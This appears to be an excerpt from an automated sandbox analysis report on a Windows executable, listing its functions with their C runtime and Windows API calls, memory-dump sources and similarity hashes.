Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FullNamePath_memmove_wcscat_wcslen
String ID:
API String ID: 189345764-0
Opcode ID: b5a07103995618ade261ef01f54f5a553efcf6df6b0456540eb65e713268cb76
Instruction ID: 2015441755d858fd8e0eda5222b5755b32ba888a6894f20bc92f797a771483af
Opcode Fuzzy Hash: b5a07103995618ade261ef01f54f5a553efcf6df6b0456540eb65e713268cb76
Instruction Fuzzy Hash: FB01DBB094024DD7CB10FF61CC819DE73B8AF55350F4045D9E945A7241EEB09EC5ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EF4B96, Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00EF4BC3
__lock_file.LIBCMT ref: 00EF4BE6

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: e99dfb0cc0be0ab7f41a279cb0449777176bf8862996d25dbe84eb97a79a0e6a
Instruction ID: fe39cbc7b82cff8076cbf09d04e145e98180d6adf0e7952db78e0bd98fef7389
Opcode Fuzzy Hash: e99dfb0cc0be0ab7f41a279cb0449777176bf8862996d25dbe84eb97a79a0e6a
Instruction Fuzzy Hash: 52011EB180521DEBCF12AFA4C8029EF7BB1AF04760F10A156FA5475192D731CA62DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00EF4966, Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00EF7E9A: __getptd_noexit.LIBCMT ref: 00EF7E9A

__lock_file.LIBCMT ref: 00EF49AD

Part of subcall function 00EF5391: __lock.LIBCMT ref: 00EF53B6

__fclose_nolock.LIBCMT ref: 00EF49B8

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 657239dbaf1c3bf33cfb6c969259eb8765c7eb38bfa7f9642850d0f5879584f8
Instruction ID: 68680d7f620909d9f01465cc207cd51d5334de933d6bce50caaa6d521d797d80
Opcode Fuzzy Hash: 657239dbaf1c3bf33cfb6c969259eb8765c7eb38bfa7f9642850d0f5879584f8
Instruction Fuzzy Hash: B7F0BBB1A0570E9AD710AB7488027BF77E06F00334F10A649E674BA1D5D7BC8D019B56

Uniqueness

Uniqueness Score: -1.00%

Function 00F24D75, Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00F24D81

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

_memmove.LIBCMT ref: 00F24DA5

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _malloc_memmove_strlen
String ID:
API String ID: 3238260300-0
Opcode ID: d8b832f317b5c68cd36a41356321b0aa83b813d0d5e4f043102ddb5ee97be978
Instruction ID: 11059fd798e94b1ec3a6de358cc50e8174193f67dd2975d5f1ac942ec032ed5c
Opcode Fuzzy Hash: d8b832f317b5c68cd36a41356321b0aa83b813d0d5e4f043102ddb5ee97be978
Instruction Fuzzy Hash: D6E09B719002146B8600BFA9DC06CABB7DCDD91710700541DF559E3602E579B94187A5

Uniqueness

Uniqueness Score: -1.00%

Function 00EED5C0, Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00EED5DC

Part of subcall function 00EE9430: PeekMessageW.USER32 ref: 00EE94B6

Sleep.KERNEL32(00000000), ref: 00F0E125

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessagePeekSleepTimetime
String ID:
API String ID: 1792118007-0
Opcode ID: dca4a3c346c67ce927176448c59f561fc9fcd30a433d9deb870d4255c2cb03bd
Instruction ID: c2067d26ac0b1692e6f420103d5ef33909667aba2472b8dbfe67189cb273512e
Opcode Fuzzy Hash: dca4a3c346c67ce927176448c59f561fc9fcd30a433d9deb870d4255c2cb03bd
Instruction Fuzzy Hash: 5EF08C7124460A9FC398EF6AD959B66BBE8AF45350F104039E83AD7391DBB0B801DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EF15A2, Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00EF15AA

Part of subcall function 00EF1577: GetModuleHandleW.KERNEL32(mscoree.dll,?,00EF15AF,?,?,00EF350A,000000FF,0000001E,00000001,00000000,00000000,?,00EF6A35,?,00000001,?), ref: 00EF1581
Part of subcall function 00EF1577: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00EF1591

ExitProcess.KERNEL32 ref: 00EF15B3

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 219391d13e765ee9cdebcd765c22a6358322ca957b4ae463d8cfc4a914ba4d00
Instruction ID: cc2db354d932c8b9fb0de743babef4fd2dffee92eba24283733c6d1426e54a51
Opcode Fuzzy Hash: 219391d13e765ee9cdebcd765c22a6358322ca957b4ae463d8cfc4a914ba4d00
Instruction Fuzzy Hash: 9DB0923100028CBBCB052F12EC0F85D3F6AEB813A0B504024FA2909131DFB2AE92AA80

Uniqueness

Uniqueness Score: -1.00%

Function 00F40775, Relevance: 2.6, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,?,00F47AD6,?,00F081E2,?,?,?,00F081E2), ref: 00F40790
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00F081E2,?,?), ref: 00F407D6

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 03b29b1db5095376186666abb7476cb048bfb51a6aaab6030f060b1a73fcbb56
Instruction ID: 90ecbf9d4e94843a6e3bc18fe414e61f6fd6d91350f4bd90ff01c11b0a3bc93d
Opcode Fuzzy Hash: 03b29b1db5095376186666abb7476cb048bfb51a6aaab6030f060b1a73fcbb56
Instruction Fuzzy Hash: 2D01A2767402187FE310A669EC4AF6B779CDBC5721F144036FA05DF280D9A0ED0086A1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3D20, Relevance: 2.6, APIs: 2, Instructions: 53COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,00EE378C,?,?,?,00000010), ref: 00EE3D38

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,00000010), ref: 00EE3D71

Part of subcall function 00EE3DA0: _memmove.LIBCMT ref: 00EE3DD7

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$_malloc_memmove
String ID:
API String ID: 961785871-0
Opcode ID: fb6a568daacfdcc4185b3ea8ebff7f7d7dccd261fb34306a4da189e879833bd1
Instruction ID: 8672e29bae6e458b84f2b64d6423a06e5633bb2f331e415da0f4b55925b93be4
Opcode Fuzzy Hash: fb6a568daacfdcc4185b3ea8ebff7f7d7dccd261fb34306a4da189e879833bd1
Instruction Fuzzy Hash: C201D172344208BFE750AB69EC8AF6B77DCDB85B21F005065FA09EB2D0D9A1ED008261

Uniqueness

Uniqueness Score: -1.00%

Function 00EEB650, Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd6d10cb16e4d9c7061f98a5bacccff3c5f38394acf43cade5f7b751017f3d27
Instruction ID: c3f9025a2a86b5fb2233c8b2e02917be85df4009c771c042baf5488977fafce3
Opcode Fuzzy Hash: fd6d10cb16e4d9c7061f98a5bacccff3c5f38394acf43cade5f7b751017f3d27
Instruction Fuzzy Hash: 7F31EC749006CEDBCB20EF26D8C2E2773E8EF50714B146915F505A7211DB35E854DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3130, Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00EE3196

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: b5c26b26fd3fbec50e6cd805341016046b7291832a147e700f4af3c7c742f27d
Instruction ID: 3bfe74a4880cd1c208033fb67d8ec60fc8f39119f6c83e43f501ec910a884910
Opcode Fuzzy Hash: b5c26b26fd3fbec50e6cd805341016046b7291832a147e700f4af3c7c742f27d
Instruction Fuzzy Hash: 77315471E0060CEBDF048FA6D9466AEBBF4FF40701F20C5A9D895E6290E7359A50E740

Uniqueness

Uniqueness Score: -1.00%

Function 00EE29B0, Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00EE2A8D

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 4b96222927c3cc5780730a4031c9427b06806789dcdefdded843a6b8b0126850
Instruction ID: 7f1dc082eb133c90e73e4a12551c8a99e1b440879f77b669b786ab1e0708cce6
Opcode Fuzzy Hash: 4b96222927c3cc5780730a4031c9427b06806789dcdefdded843a6b8b0126850
Instruction Fuzzy Hash: 8B31CBB9600656EFC724DF29C480A61F3E4FF48310B04D5A9DA8DDB796E730E852CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EE31B0, Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F07CC0

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 007705c794eaee75795cba5dd329afecccc585520ca502e61989b9a067e0ab0d
Instruction ID: aefca9249948b587dd5d3f53b0188c539777ab4776e8d4f4066815469cb01366
Opcode Fuzzy Hash: 007705c794eaee75795cba5dd329afecccc585520ca502e61989b9a067e0ab0d
Instruction Fuzzy Hash: FB319170A04208DFC724EF69C48196AB3F5FF58304B20C59DE5969B392EB36EE51DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE1B0, Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00002000,00000000,?,?,00002000), ref: 00EEE248

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 25e6df0d4999ece8fec506e2d04ca6914a23571568a2aca8701b17e56193082f
Instruction ID: db7ed995380f8a66d568163212d6062a7f8cc9912699b352b7364b2be1523b04
Opcode Fuzzy Hash: 25e6df0d4999ece8fec506e2d04ca6914a23571568a2aca8701b17e56193082f
Instruction Fuzzy Hash: 03317C71A00B499FCB24CE7EE88495AB7FAFB8C710B14DA2EE55A97710D630FC458B50

Uniqueness

Uniqueness Score: -1.00%

Function 00EF0C1C, Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00EF0CCB

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: d97974db68c93637a2f12a8d5ef1bb8e667e1a9e2f31a16b02dcf7f62f4d1f5e
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 8831D274A00109DBCB18DF58C590A79F7A6FF49304B6897A5E60AEB252DB31EDC1CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EE9190, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d28a6baeec9599dfb9f47056faf62f6c699e98959476ea879799edfdc7d883a
Instruction ID: 00b3d2468a45a6d3bf938cfc1b54d19e613fe55ba5ccf85c921d1b87e9804997
Opcode Fuzzy Hash: 4d28a6baeec9599dfb9f47056faf62f6c699e98959476ea879799edfdc7d883a
Instruction Fuzzy Hash: EB11E7B490128EDBC724DF16DC8AE7A73E4FF41304B25580AE441E7256CB35E880EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F340A2, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F34108

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _malloc_memmove
String ID:
API String ID: 1183979061-0
Opcode ID: 6d315617b7d10660b537d66a265e741d65b7eea92008633bcc48ed56a9134711
Instruction ID: 903fb92bd9c272600c4e19f4ba9d33f33e4d6b1787adb123086ebe0486de8001
Opcode Fuzzy Hash: 6d315617b7d10660b537d66a265e741d65b7eea92008633bcc48ed56a9134711
Instruction Fuzzy Hash: BD012872604614ABC720EF99EC40EAFB7DCAFD5330B10812AFA5893242D336B55197E5

Uniqueness

Uniqueness Score: -1.00%

Function 00EFF597, Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00EF12DC,00000000,?,00EF6A7F,?,00EF12DC,00000000,00000000,00000000,?,00EF793E,00000001,00000214,?,00EF12DC), ref: 00EFF5DA

Part of subcall function 00EF7E9A: __getptd_noexit.LIBCMT ref: 00EF7E9A

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 7b231a2790034cc77f17fff14f5096e0d18c5418e2371f4686b39c1bdecefb38
Instruction ID: 4dd657cb3b847a2ee123fc0af67fdc727783d22d03a3ff44c4e451910468e733
Opcode Fuzzy Hash: 7b231a2790034cc77f17fff14f5096e0d18c5418e2371f4686b39c1bdecefb38
Instruction Fuzzy Hash: F501B13620021D9BEB289F25EC54B763795AF81B68F165579EA15EB1A0DB70CC40C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3250, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F06CBC

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: d004d5c534d2375e1baeed5304de0fa19ac847193422e3c755db1f05f6603096
Instruction ID: 5f64fd7108291314cf1253da143dbfc4b592b40bf98539037506258344fd166a
Opcode Fuzzy Hash: d004d5c534d2375e1baeed5304de0fa19ac847193422e3c755db1f05f6603096
Instruction Fuzzy Hash: DD015A752006449FC328DF6DD946D37B3E4EF98744714886DE59AC7752EA32E802DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F330A7, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

_memset.LIBCMT ref: 00F330E3

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc_memset
String ID:
API String ID: 1169493612-0
Opcode ID: b17a19bfa6e022758fe658764bb2bc4b4a8effc45995baaa177408ecd83d95d0
Instruction ID: b9e88f3886f5e70c260b70b7af90f2e675f4623841a89540f9eddb9dd8580df9
Opcode Fuzzy Hash: b17a19bfa6e022758fe658764bb2bc4b4a8effc45995baaa177408ecd83d95d0
Instruction Fuzzy Hash: 461105B92002449FD310EF5CD481F62BBE5EF99311F2485ADE2999B352D772E801CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00F4FD26, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 00F4FD5D

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcscpy
String ID:
API String ID: 3048848545-0
Opcode ID: c268edffd11c4cbb4d224b8625af7d214eeeb5606354a08f8d4cf2e0546bcfa6
Instruction ID: 65629d47b2b3f96519576108a2101a51bf92f5d72359443503adbf681acf6b7b
Opcode Fuzzy Hash: c268edffd11c4cbb4d224b8625af7d214eeeb5606354a08f8d4cf2e0546bcfa6
Instruction Fuzzy Hash: A8F05C335143183597106B66BC42CE7B79CFF92330710022BFA1867281E522744593F4

Uniqueness

Uniqueness Score: -1.00%

